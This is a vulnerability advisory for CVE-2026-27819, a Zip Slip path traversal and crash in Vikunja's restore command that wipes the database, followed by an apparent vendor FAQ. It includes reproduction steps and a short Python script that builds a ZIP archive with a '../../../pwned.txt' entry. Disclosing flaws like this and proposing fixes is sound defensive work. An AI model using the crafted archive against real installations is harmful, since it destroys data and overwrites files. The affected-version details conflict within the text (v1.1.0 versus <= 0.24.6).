CVE-2026-27819

Path Traversal (Zip Slip) and Denial of Service (DoS) vulnerability discovered in the Vikunja CLI's restore functionality.

Details

The restoreConfig function in vikunja/pkg/modules/dump/restore.go of the https://github.com/go-vikunja/vikunja/tree/main repository fails to sanitize file paths within the provided ZIP archive. A maliciously crafted ZIP can bypass the intended extraction directory to overwrite arbitrary files on the host system. Additionally, we’ve discovered that a malformed archive triggers a runtime panic, crashing the process immediately after the database has been wiped permanently.

The application trusts the metadata in the ZIP archive. It uses the Name attribute of the zip.File struct directly in os.OpenFile calls without validation, allowing files to be written outside the intended directory.

The restoration logic assumes a specific directory structure within the ZIP. When provided with a "minimalist" malicious ZIP, the application fails to validate the length of slices derived from the archive contents. Specifically, at line 154, the code attempts to access an index of len(ms)-2 on an insufficiently populated slice, triggering a panic.

PoC

When provided with a ZIP containing a traversal path (e.g., ../../../pwned.txt) and a missing migration structure, the application wipes the existing database and then panics due to unsafe index manipulation at line 154 of restore.go.

Reproduction Steps:

1. Preparation: Generate vikunja_critical_poc.zip.
2. Execution: Run echo "Yes, I understand" | vikunja restore vikunja_critical_poc.zip.
3. Observation:
   a. The application logs INFO: Wiped database.
   b. The application immediately follows with: panic: runtime error: index out of range [-2].
4. The database is effectively deleted (Wiped), and the restoration process fails to complete, leaving the application in a non-functional state with total data loss for that instance.

Reproduction Python Script:

import zipfile

VIKUNJA_VERSION = "v1.1.0" 
ZIP_NAME = "vikunja_critical_poc.zip"

def create_poc():
    with zipfile.ZipFile(ZIP_NAME, 'w') as zipf:
        # Mandatory version file to pass initial check
        zipf.writestr('VERSION', VIKUNJA_VERSION)

        # Malicious traversal path
        # This triggers the traversal logic and the index panic simultaneously
        zipf.writestr('../../../pwned.txt', "Vulnerability Confirmed.")
    print(f"[+] {ZIP_NAME} created.")

if __name__ == "__main__":
    create_poc()

Stack Trace:
time=2026-02-21T23:07:22.707Z level=INFO msg="Wiped database." panic: runtime error: index out of range [-2] goroutine 1 [running]: code.vikunja.io/api/pkg/modules/dump.Restore(...) /go/src/code.vikunja.io/api/pkg/modules/dump/restore.go:154 +0x1085

Remediation:
Sanitize Paths: Use filepath.Base() to strip all directory information from ZIP entries before processing.
Implement Bounds Checking: Ensure slices have sufficient length before performing index arithmetic.

Proposed Fix for restore.go:

// 1. Sanitize the filename
filename := filepath.Base(configFile.Name)
dstPath := filepath.Join(extractionDir, filename)

// ...

// 2. Prevent Index Out of Range Panic (Line 154)
if len(ms) < 2 {
    return fmt.Errorf("invalid migration sequence in backup archive")
}
lastMigration := ms[len(ms)-2]

Vulnerability Type: CWE-22 (Path Traversal) / CWE-248 (Uncaught Exception)
Affected Component: pkg/modules/dump/restore.go
Impact: Arbitrary File Write and Permanent Data Loss
Status: Vikunja has not found an existing CVE for these issues; they appear to be undisclosed Zero-Days.
Source File: pkg/modules/dump/restore.go
Functions: Restore, restoreConfig
Line Number: 154 (v1.1.0)
Command: vikunja restore

Affected Party: Any administrator or automated process utilizing the vikunja restore CLI command.

1. Specifically, instances where a user may be socially engineered into restoring a backup from an untrusted source are at high risk.
2. Additionally, because the database is wiped before archive validation, even a failed exploitation attempt results in a complete loss of application data for that instance, impacting all end-users of the affected Vikunja installation.

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2026-27819 has a CVSS score of 7.2 (High). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Kodem intelligence

1. What is CVE-2026-27819? CVE-2026-27819 is a high-severity path traversal vulnerability in code.vikunja.io/api (go), affecting versions <= 0.24.6. No fixed version is listed yet. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. How severe is CVE-2026-27819? CVE-2026-27819 has a CVSS score of 7.2 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of code.vikunja.io/api are affected by CVE-2026-27819? code.vikunja.io/api (go) versions <= 0.24.6 is affected.
4. Is there a fix for CVE-2026-27819? No fixed version is listed for CVE-2026-27819 yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is CVE-2026-27819 exploitable, and should I be worried? Whether CVE-2026-27819 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-27819 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-27819? No fixed version is listed yet. In the interim: Resolve the canonical path after applying any user-supplied input, and verify it remains within the intended directory before accessing it.